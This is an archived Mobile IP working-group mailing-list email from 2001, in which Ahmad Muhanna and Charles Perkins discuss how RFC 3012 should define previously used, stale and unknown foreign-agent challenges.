	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAC3l5QO006028
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 11 Nov 2001 19:47:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fAC3l56R006027
	for mobile-ip-dist; Sun, 11 Nov 2001 19:47:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAC3ktQO006020
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 19:46:55 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA13127
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 19:46:52 -0800 (PST)
Received: from zrc2s03g.us.nortel.com (h66s122a103n47.user.nortelnetworks.com [47.103.122.66])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA09721
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 20:46:34 -0700 (MST)
Received: from smtprch1.nortel.com (erchg0j.us.nortel.com [47.113.64.103])
	by zrc2s03g.us.nortel.com (8.9.3+Sun/8.9.1) with ESMTP id VAA16925
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 21:46:50 -0600 (CST)
Received: from zrchb200.us.nortel.com by smtprch1.nortel.com;
          Sun, 11 Nov 2001 21:43:18 -0600
Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <VPB2RL1Q>; Sun, 11 Nov 2001 21:45:41 -0600
Message-ID: <6B49EDFE974BD51197D70002A56079D82AF563@zrc2c013.us.nortel.com>
From: "Ahmad Muhanna" <amuhanna@nortelnetworks.com>
To: "'Charles E. Perkins'" <charliep@IPRG.nokia.com>
Cc: "'Patil Basavaraj (NET/Dallas)'" <Basavaraj.Patil@nokia.com>,
        "'Pat Calhoun'" <pcalhoun@bstormnetworks.com>,
        "Pete Wenzel" <wenzel@nortelnetworks.com>,
        Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] URGENT - rfc3012 interpretation question
Date: Sun, 11 Nov 2001 21:45:39 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C16B2C.7F11CA90"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C16B2C.7F11CA90
Content-Type: text/plain;
	charset="iso-8859-1"

Charlie;
Thanks very much for your great effort in clarifying these issues.
Please see my comments inline.

Regards;

Ahmad Muhanna
Nortel Networks


-----Original Message-----
From: Charles E. Perkins [mailto:charliep@IPRG.nokia.com]
Sent: Sunday, November 11, 2001 5:02 PM
To: Muhanna, Ahmad [RICH1:2Q20:EXCH]
Cc: 'Patil Basavaraj (NET/Dallas)'; 'Pat Calhoun'; Wenzel, Pete
[RICH2:2Q00:EXCH]; Mobile IP Working Group
Subject: Re: [mobile-ip] URGENT - rfc3012 interpretation question


ext Ahmad Muhanna wrote:

Hello again Ahmad,

> Hello All;
> 
> I believe after reading section 3.2., RFC3012, anyone can come up with
> the following concepts which has been highlighted and addressed directly
> or indirectly:
> 
> 1.      The term of unused challenge. Paragraph 1 section 3.2.
>                        .............
> 2.      The term of previously used challenge. Paragraph 3, section 3.2
>                        .............
> 3.      The term of UNKNOWN_CHALLENGE, Paragraph 4, section 3.2.
>                        .............
> I believe the RFC needs to identify the following:
> 1.      USED_CHALLENGE_WINDOW with a default value of 2 just like the
> CHALLENGE_WINDOW.

I didn't see the need for USED_CHALLENGE_WINDOW.  It would allow the
foreign agent to distinguish between used challenges and unknown
challenges, but I don't exactly see why it is important to be precise
about this.  Presumably the foreign agent will keep track of some number
of used challenges, and it's not important for the mobile node to know
the foreign agent's algorithm for doing so.

Ahmad Muhanna:
I just wanted to be inline with the CHALLENGE_WINDOW proposed in this RFC.
"....and it's not important for the mobile node to know the foreign agent's
algorithm for doing so."

The same argument could be said about the CHALLENGE_WINDOW. 
I do not see any problem in not having this parameter. However, it helps in
making wording a little easier.

> 2.      The meaning of the USED Challenge is any challenge that has been
> used in a RRQ message and accepted by the PDSN as a valid CHALLENGE and
> PDSN  relayed/generated a RRP in response to that RRQ message.

Use of the term "PDSN" is not appropriate for this specification.
I have used "foreign agent" instead in the following definitions:

Ahmad Muhanna:
I agree.

===========================================================================
      previously used challenge
               Any challenge that has been used in a Registration
               Request message and accepted by the Foreign Agent as a
               valid challenge in a corresponding Registration Reply
               message.

Ahmad Muhanna:
I am afraid that some one may interpret 
"... and accepted by the Foreign Agent as a valid challenge in a
corresponding Registration Reply message."
as the following:

The corresponding RRP should have the same challenge back in the RRP for the
challenge to be marked as USED.
This wording make it hard, since generating a new Challenge in RRP is an
option for the Foreign Agent not a MUST.

If I may suggest a slight change:

               Any challenge that has been used in a Registration
               Request message and accepted by the Foreign Agent as a
               valid challenge by relaying/generating a corresponding
Registration Reply
               message.

   
      stale challenge
               Same as "previously used challenge".

Ahmad Muhanna:
		   Same as "previously used challenge" and the Foreign Agent
still has a record of.
   
      unknown challenge
               Any challenge that the foreign agent has no record of
               having put into one of its Agent Advertisements.

Ahmad Muhanna: May I suggest a slight change here, otherwise MN can not use
challenge values received in RRP messages.

               Any challenge that the foreign agent has no record of
               having put into one of its Agent Advertisements nor 
               a corresponding registration reply message.


      unused challenge
               A challenge that has not been already accepted
               by the Foreign Agent as a valid challenge in a
               Registration Reply message -- i.e., a valid challenge
               that is neither unknown nor previously used.

Ahmad Muhanna: I am not sure if we need to have a definition for unused
challenge included.

===========================================================================


> 3.      "In all other circumstances" in paragraph 3 is very vague. We
> may need to elaborate a little bit to explicitly say that
> STALE_CHALLENGE will be generated whenever a USED CHALLENGE
> is sent in a RRQ message.

The sentence following that phrase does exactly express that point.
Can you be specific about what you would like to see changed?

Ahmad Muhanna:
		The above definition of Stale Challenge takes care of this.


> NOW the UNKNOWN CHALLENGE becomes any Challenge value other than the one
> which was offered in last (NO Successful is mentioned) Registration
> Reply issued to the Mobile Node, or else advertised as one of the last
> CHALLENGE_WINDOW (see section 9) Challenge values inserted into the
> immediately preceding Agent advertisements, or else has previously been
> used as one of the last USED_CHALLENGE_WINDOW (see section 9).

I think I understand this issue, and I agree that the foreign agent 
should be able to do this.  In fact, I thought we had already made
the appropriate changes, but you have identified language in the draft
where more work needed to be done.  I think I have found all the offending
parts and fixed them now.

Regards,
Charlie P.

------_=_NextPart_001_01C16B2C.7F11CA90
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>RE: [mobile-ip] URGENT - rfc3012 interpretation question</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Charl</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">ie</FONT><FONT SIZE=3D2 FACE=3D"Arial">;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Thanks very much for your</FONT> =
<FONT SIZE=3D2 FACE=3D"Arial">great</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">effort in clarifying these issues.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Please see my comments inline.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Regards;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Nortel Networks</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">From: Charles E. Perkins [<A =
HREF=3D"mailto:charliep@IPRG.nokia.com">mailto:charliep@IPRG.nokia.com</=
A>]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Sent: Sunday, November 11, 2001 5:02 =
PM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">To: Muhanna, Ahmad =
[RICH1:2Q20:EXCH]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Cc: 'Patil Basavaraj (NET/Dallas)'; =
'Pat Calhoun'; Wenzel, Pete</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">[RICH2:2Q00:EXCH]; Mobile IP Working =
Group</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Subject: Re: [mobile-ip] URGENT - =
rfc3012 interpretation question</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">ext Ahmad Muhanna wrote:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello again Ahmad,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; Hello All;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; I believe after reading section =
3.2., RFC3012, anyone can come up with</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; the following concepts which has =
been highlighted and addressed directly</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; or indirectly:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
The term of unused challenge. Paragraph 1 section 3.2.</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; .............</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
The term of previously used challenge. Paragraph 3, section 3.2</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; .............</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
The term of UNKNOWN_CHALLENGE, Paragraph 4, section 3.2.</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; .............</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; I believe the RFC needs to =
identify the following:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
USED_CHALLENGE_WINDOW with a default value of 2 just like the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; CHALLENGE_WINDOW.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I didn't see the need for =
USED_CHALLENGE_WINDOW.&nbsp; It would allow the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">foreign agent to distinguish between =
used challenges and unknown</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">challenges, but I don't exactly see =
why it is important to be precise</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">about this.&nbsp; Presumably the =
foreign agent will keep track of some number</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">of used challenges, and it's not =
important for the mobile node to know</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the foreign agent's algorithm for =
doing so.</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna:</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I just wanted to be inline with the =
CHALLENGE_WINDOW proposed in this RF</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">C</FONT><FONT SIZE=3D2 FACE=3D"Arial">.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;....and it's not important for =
the mobile node to know the foreign agent's algorithm for doing =
so.&quot;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The same argument could be said about =
the CHALLENGE_WINDOW. </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I do not see any problem in not =
h</FONT><FONT SIZE=3D2 FACE=3D"Arial">aving</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"> this parameter. However, it help</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">s</FONT><FONT SIZE=3D2 FACE=3D"Arial"> in making =
wording</FONT> <FONT SIZE=3D2 FACE=3D"Arial">a little</FONT><FONT =
SIZE=3D2 FACE=3D"Arial"> easier.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; 2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
The meaning of the USED Challenge is any challenge that has been</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; used in a RRQ message and =
accepted by the PDSN as a valid CHALLENGE and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; PDSN&nbsp; relayed/generated a =
RRP in response to that RRQ message.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Use of the term &quot;PDSN&quot; is =
not appropriate for this specification.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I have used &quot;foreign agent&quot; =
instead in the following definitions:</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna:</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I agree.</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
previously used challenge</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; Any challenge that has been used in a =
Registration</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; Request message and accepted by the Foreign =
Agent as a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; valid challenge in a corresponding =
Registration Reply</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; message.</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna:</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I am afraid that some one</FONT> =
<FONT SIZE=3D2 FACE=3D"Arial">may</FONT><FONT SIZE=3D2 FACE=3D"Arial"> =
interpret </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;... and accepted by the Foreign =
Agent as a valid challenge in a corresponding Registration Reply =
message.&quot;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">as the following:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The corresponding RRP should have the =
same challenge back in the RRP for the challenge to be marked =
as</FONT><B> <FONT SIZE=3D2 FACE=3D"Arial">USED</FONT></B><FONT =
SIZE=3D2 FACE=3D"Arial">.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">This wording make it hard</FONT><FONT =
SIZE=3D2 FACE=3D"Arial">,</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT> =
<FONT SIZE=3D2 FACE=3D"Arial">s</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">ince generating a new</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">Challenge</FONT><FONT SIZE=3D2 FACE=3D"Arial"> in RRP is =
an option for the Foreign Agent not a MUST.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">If I may suggest a slight =
change:</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; Any challenge that has been used in a =
Registration</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; Request message and accepted by the Foreign =
Agent as a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; valid challenge</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">by relaying/generating</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">a corresponding Registration Reply</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; message.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stale =
challenge</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; Same as &quot;previously used =
challenge&quot;.</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna:</FONT></B>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp; Same as &quot;previously used =
challenge&quot; and the Foreign Agent still has a record of.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
unknown challenge</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; Any challenge that the foreign agent has no =
record of</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; having put into one of its Agent =
Advertisements.</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna:</FONT></B><FONT =
SIZE=3D2 FACE=3D"Arial"> May I suggest a slight change here, otherwise =
MN can not use challenge values received in RRP messages.</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; Any challenge that the foreign agent has no =
record of</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; having put into one of its Agent =
Advertisements</FONT><FONT SIZE=3D2 FACE=3D"Arial"> nor </FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; a corresponding registration reply =
message</FONT><FONT SIZE=3D2 FACE=3D"Arial">.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unused =
challenge</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; A challenge that has not been already =
accepted</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; by the Foreign Agent as a valid challenge =
in a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; Registration Reply message -- i.e., a valid =
challenge</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; that is neither unknown nor previously =
used.</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna:</FONT></B><FONT =
SIZE=3D2 FACE=3D"Arial"> I am not sure if we need to have a definition =
for unused challenge included.</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; 3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&quot;In all other circumstances&quot; in paragraph 3 is very vague. =
We</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; may need to elaborate a little =
bit to explicitly say that</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; STALE_CHALLENGE will be =
generated whenever a USED CHALLENGE</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; is sent in a RRQ message.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The sentence following that phrase =
does exactly express that point.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Can you be specific about what you =
would like to see changed?</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna:</FONT></B>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">The above definition of Stale Challenge takes care of =
this.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; NOW the UNKNOWN CHALLENGE becomes =
any Challenge value other than the one</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; which was offered in last (NO =
Successful is mentioned) Registration</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Reply issued to the Mobile Node, =
or else advertised as one of the last</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; CHALLENGE_WINDOW (see section 9) =
Challenge values inserted into the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; immediately preceding Agent =
advertisements, or else has previously been</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; used as one of the last =
USED_CHALLENGE_WINDOW (see section 9).</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I think I understand this issue, and I =
agree that the foreign agent </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">should be able to do this.&nbsp; In =
fact, I thought we had already made</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the appropriate changes, but you have =
identified language in the draft</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">where more work needed to be =
done.&nbsp; I think I have found all the offending</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">parts and fixed them now.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Regards,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Charlie P.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C16B2C.7F11CA90--


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 00:10:03 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06147
	for <mobileip-archive@odin.ietf.org>; Mon, 12 Nov 2001 00:10:02 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA11205;
	Sun, 11 Nov 2001 22:08:15 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA12614;
	Sun, 11 Nov 2001 21:08:04 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAC4pfQO006182
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 11 Nov 2001 20:51:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fAC4pf1W006181
	for mobile-ip-dist; Sun, 11 Nov 2001 20:51:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAC4pVQO006174
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 20:51:31 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA01928
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 20:51:31 -0800 (PST)
Received: from zrc2s03g.us.nortel.com (h66s122a103n47.user.nortelnetworks.com [47.103.122.66])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA21455
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 21:51:37 -0700 (MST)
Received: from smtprch1.nortel.com (erchg0j.us.nortel.com [47.113.64.103])
	by zrc2s03g.us.nortel.com (8.9.3+Sun/8.9.1) with ESMTP id WAA25719
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 22:51:28 -0600 (CST)
Received: from zrchb200.us.nortel.com by smtprch1.nortel.com;
          Sun, 11 Nov 2001 22:48:03 -0600
